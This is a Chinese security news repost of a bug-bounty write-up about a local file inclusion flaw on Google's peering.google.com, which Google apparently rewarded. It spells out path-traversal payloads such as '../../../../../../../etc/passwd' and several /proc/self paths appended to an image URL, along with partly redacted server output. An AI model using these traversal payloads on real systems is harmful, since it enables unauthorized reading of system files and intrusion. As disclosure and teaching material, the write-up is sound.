专栏首页FreeBuf谷歌peering.google.com中的本地文件包含(LFI)漏洞

谷歌peering.google.com中的本地文件包含(LFI)漏洞

众所周知,本地文件包含漏洞(LFI)可以造成信息泄露甚至入侵系统,即使其中的包含代码不具备执行权限,但攻击者也可以从中获取一些深入渗透目标系统的有价值信息。该篇Writeup讲述的就是作者在谷歌某网络系统中发现的一个LFI漏洞,通过该漏洞可以获取到大量的系统运行和配置信息,存在严重的安全隐患,漏洞最终获得谷歌$3133的奖励。可见,大公司大厂商一样会以低级错误方式出现这种高危漏洞。

漏洞影响

peering.google.com,Google Edge network,是谷歌分布式服务器网络。其中存在LFI漏洞,可以通过它运行一些本地的系统命令,造成严重的信息泄露。

漏洞复现

访问 https://peering.google.com/;

然后访问该网站中的任意一张图片,如:

Open any picture in another window for example: “https://peering.google.com/static/images/couch-ipad.png

之后,在该图片链接末尾加入一些本地执行命令,如:

../../../../../../../etc/passwd    
   
       ../../../../../../../proc/self/cmdline    
   
       ../../../../../../../proc/self/stat    
   
       ../../../../../../../proc/self/status
   
......

最终链接形如:

https://peering.google.com/static/images/couch-ipad.png../../../../../../../proc/self/cmdline

就是构造如此简单的链接打开方式,我们就能从中执行上述本地系统命令,获取到相应的系统运行和配置信息。

复现示例

如要获取系统服务器和内核信息,我们可以在上述图片链接末尾加上../../../../../../../proc/version,最终服务器响应回来的信息如下:

Linux version 3.*.* #1 SMP

如要获取服务器文件系统信息,我们可以在上述图片链接末尾加上../../../../../../../proc/self/cmdline,最终服务器响应回来的信息如下:

server_software=Google App Engine/1.*.*

如要获取系统内网信息,我们可以在上述图片链接末尾加上../../../../../../../proc/self/net/,最终服务器响应回来的信息如下:

apihost_address=169.*.*.253:* /server_address=169.*.*.2:*

如可以从../../../../../../../proc/self/stat中获取一些系统的运行部署环境,如:

(python27g_runti)

另外,还可以从../../../../../../../proc/self/status中获得一些系统运行进程和承载能力的关键信息,为实施DoS攻击作出辅助评估:

FDSize: 11, VmSize: 1134532 kB, VmRSS: 134860 kB, Threads: 17

视频验证PoC

(需要视频嵌入):https://www.youtube.com/watch?time_continue=47&v=khvwTKJqcsg

*参考来源:updatelap,clouds编译整理,转载请注明来自FreeBuf.COM

本文分享自微信公众号 - FreeBuf(freebuf),作者:clouds

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2019-09-10

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 挖洞经验 | 看我如何接管OLX的每一条广告

    在这篇文章中,我将跟大家分享关于“不安全的直接对象引用”(IDOR)攻击的相关内容。没错,正如本文标题所写的那样,我在OLX所托管的网站上发现了一个IDOR漏洞...

    FB客服
  • clrinject:向CLR Runtimes和AppDomain中注入代码的工具

    clrinject是一款可将C#,EXE或DLL程序集,注入另一个进程CLR Runtimes和AppDomain的工具。注入的程序集可访问injectee进程...

    FB客服
  • 手撕伪YARRAQ勒索病毒

    2020 年的勒索病毒愈加猖狂,各种变种层出不穷,对一般企业的威胁非常之大,尤其是现在的定点投放勒索已经不再局限于之前的盲打,除了勒索还泄露资料外,功利性也愈加...

    FB客服
  • iOS开发 UIlabel 文字两边对齐

    czjwarrior
  • PHP程序员:你过来,给我说说 $this,self,static 有什么区别?

    我们每天都在敲代码,对着各种各样的类与继承。面向对象的编程设计方式,裹挟着PHP程序员加入 OOP 大军。

    程序员小助手
  • Python高级进阶#015 pyqt5进度条QProgressBar结合使用qbasictimer

    这里我们在学习使用进度条的时候,必须要结合使用时钟控件,这样才能让我们看到进度条动的感觉。

    刘金玉编程
  • 面向对象

    析构函数(在实例释放、销毁的时候自动执行的、通常用于一些收尾工作,如:关闭一些数据库链接,关闭打开的临时文件 当程序执行完以后, 析构__del__(self)...

    py3study
  • python 面向对象

    面向对象编程——Object Oriented Programming,简称OOP,是一种程序设计思想。OOP把对象作为程序的基本单元,一个对象包含了数据和操作...

    py3study
  • 六天完成一个简单iOS App - 第四天

    xx_Cc
  • python的面向对象编程

    面向对象:Object Oriented Programming,简称OOP,即面向对象程序设计。

    没有故事的陈师傅

扫码关注云+社区

领取腾讯云代金券